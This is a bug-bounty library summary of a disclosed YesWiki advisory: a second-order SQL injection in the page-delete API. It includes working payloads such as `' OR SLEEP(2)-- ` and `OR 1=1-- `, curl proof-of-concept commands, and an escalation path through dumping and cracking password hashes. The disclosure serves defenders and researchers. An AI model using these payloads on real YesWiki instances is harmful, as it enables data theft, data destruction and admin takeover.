# YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`)

Second-order SQLi in YesWiki's DELETE /api/pages/{tag}: a stored page tag with a quote is re-interpolated unescaped, enabling blind data exfiltration.

- Payout: Research
- Severity: high
- Program: YesWiki
- Found by: hash3liZer
- Disclosed: 2026-07-09
- CVE: CVE-2026-52771
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8f2v-2qhj-gfwg
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8f2v-2qhj-gfwg
- Tags: area:web domain:web impact:data-leak impact:privesc kind:research platform:ghsa sev:high tech:php technique:blind technique:second-order technique:source-review vuln:sqli

**Target:** PHP wiki app, ApiController::deletePage DELETE query on _links table
**Root cause:** Page tag is escaped on INSERT but read back from DB and interpolated raw into `DELETE FROM ..._links WHERE to_tag = '$tag'`, so a stored single quote breaks out of the string literal.
**Steps:**
1. Log in as low-priv user, capture session cookie.
2. `POST /api/pages/SleepTag' OR SLEEP(2)-- ` (URL-encoded) with body=poc — tag stored raw with quote intact.
3. Create LinkPoc page, then edit it with body `{{include page="SleepTag' OR SLEEP(2)-- "}}` so LinkTracker inserts a _links row making the evil page non-orphaned.
4. Baseline: `DELETE /api/pages/NonExistent99` (~0.5s).
5. Trigger: `DELETE /api/pages/<evil-tag>` — response delayed ~2.5s, confirming SLEEP(2) executed in the unescaped DELETE.
**How found:** Code review of ApiController::deletePage spotted the raw `$tag = $page['tag']` reassignment feeding an unescaped DELETE, while the INSERT path used escape() — classic second-order pattern; confirmed by timing delta.
**Exploitation:** Attacker plants a page whose tag contains `' OR SLEEP(N)-- `, links it via include to satisfy isOrphaned(), then calls DELETE as owner. Time-based blind extraction of any readable column (password hashes, emails, ACLs, page bodies) via conditional SLEEP; `OR 1=1-- ` wipes the links table.
**Escalation:** Dump _users.password bcrypt hashes → offline crack → admin session; chains with separate bazar deserialization bug toward RCE.
**Insight:** When a value is escaped on write, check every read-back-and-reuse sink (DELETE/UPDATE/SELECT built from DB-fetched fields) — ownership and orphan checks that themselves use escape() will happily pass a stored quote through to the unescaped sink.

## Proof of concept (copied exactly from the original report)

**Plant page with SQLi tag via POST**

```
EVIL_TAG="SleepTag' OR SLEEP(2)-- "
EVIL_ENC=$(printf '%s' "$EVIL_TAG" | \
    podman exec -i "$CTR" php -r 'echo rawurlencode(file_get_contents("php://stdin"));')

echo "raw tag      : $EVIL_TAG"
echo "URL-encoded  : $EVIL_ENC"

curl -s -b "$CJ" -X POST "${BASE}/?api/pages/${EVIL_ENC}" \
     --data-urlencode "body=poc"
```

**Link evil page via include directive**

```
NEW_BODY='{{include page="SleepTag'"'"' OR SLEEP(2)-- "}} rev-1'

curl -sL -b "$CJ" -X POST "${BASE}/?LinkPoc/edit" \
     --data-urlencode "submit=Sauver" \
     --data-urlencode "previous=${LINKID}" \
     --data-urlencode "body=${NEW_BODY}"
```

**Trigger unescaped DELETE with SLEEP**

```
T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/${EVIL_ENC}" -o /tmp/yw_del.json
T1=$(date +%s.%N)
awk "BEGIN{printf \"exploit elapsed: %.3fs\n\", $T1-$T0}"
```

